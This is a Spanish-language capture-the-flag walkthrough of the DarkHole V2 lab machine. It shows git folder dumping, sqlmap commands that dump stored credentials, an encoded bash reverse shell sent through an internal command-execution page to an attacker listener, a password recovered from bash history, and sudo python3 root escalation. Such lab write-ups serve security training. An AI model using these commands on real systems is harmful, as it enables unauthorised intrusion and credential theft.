Introducción

Se practican las siguientes habilidades:

  • Git hidden folder dump
  • SQL injection
  • Discovering localhost service + web shell
  • recover pass from bash history
  • SUDO -L

    Enumeracion

    Se descubre que hay un repositorio git:

    nmap -p- 172.16.62.130 -n -Pn --open --min-rate 5000 -sS -vvv
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: DarkHole V2
    | http-git: 
    |   172.16.62.130:80/.git/
    |     Git repository found!
    

Git inspection

Vamos a clonar el repositorio e investigar si hay información interesante, para ello necesitamos la herramienta git-dumper

pip install git-dumper
git-dumper http:/172.16.62.130/.git output

encontramos info con git log:

┌──(git-dumper-env)(root㉿kali)-[/home/kali/darkhole2/output]
└─# git log                                    
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

    First Initialize

Revisamos el commit interesante:

└─# git diff a4d900a8d85e8938d3601f3cef113ee293028e10
diff --git a/login.php b/login.php
index 8a0ff67..0904b19 100644
--- a/login.php
+++ b/login.php
@@ -2,7 +2,10 @@
 session_start();
 require 'config/config.php';
 if($_SERVER['REQUEST_METHOD'] == 'POST'){
-    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
+    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
+    $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
+    if($check->num_rows){
         $_SESSION['userid'] = 1;
         header("location:dashboard.php");
         die();

Acceso web y SQL injection

Con las credenciales vistas, entramos a la web y llegamos al perfil del usuario. ahi se prueba xss, modificar petiion para cambiar de perfil y nada. asi que probamos con SQLMAP:

A pelo no funciona, asi que capturamos la request con burpsuite y la enviamos al fichero sql:

GET /dashboard.php?id=1 HTTP/1.1
Host: 172.16.62.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.62.130/dashboard.php?id=1
Connection: keep-alive
Cookie: PHPSESSID=vvf0eqmsrnfmfb5lic25e3ab46
Upgrade-Insecure-Requests: 1
Priority: u=0, i -n

  • Inyeccion sql: ```bash sqlmap -r sql –dbs –batch sqlmap -r sql -D darkhole_2 –tables –batch sqlmap -r sql -D darkhole_2 -T ssh –columns –batch –dump

| id | pass | user | +—-+——+——–+ | 1 | fool | jehad | +—-+——+——–+


### Acceso a la maquina y pivoting
Entramos por ssh con las credenciales vistas anteriormente. descubirmos que existe un usuario "losy" y que se está corriendo un servicio web de manera interna en el 9999.

al hacer un port forwarding y traer a localhost el puerto 9999 vemos que tiene ya un sencillo cmd para ejecutar comandos. lo mas sencillo:
```bash
## PRUEBA DE RCE
http://localhost:9999/index?cmd=id

## REVERSE SHELL
nc -nlvp 1234 (en maquina atacante)
## En la victica
http://localhost:9999/index?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.62.129%2F1234%200%3E%261%27

Ya somos el usario losy

Privilege escalation

Como usario losy, se comprueba absolutamente de todo, casi al tirar la toalla se mira el .bash_history y se ven las credenciales: losy:gang , con esto hacemos un sudo -l y vemos que podemos correr python3 como root.

## creamos un fichero priv.py con este contenido
import os; os.system("/bin/bash")

## escalar
losy@darkhole:/home/losy# sudo python3 priv.py 
root@darkhole:/home/losy# whoami
root

Categories:

Updated: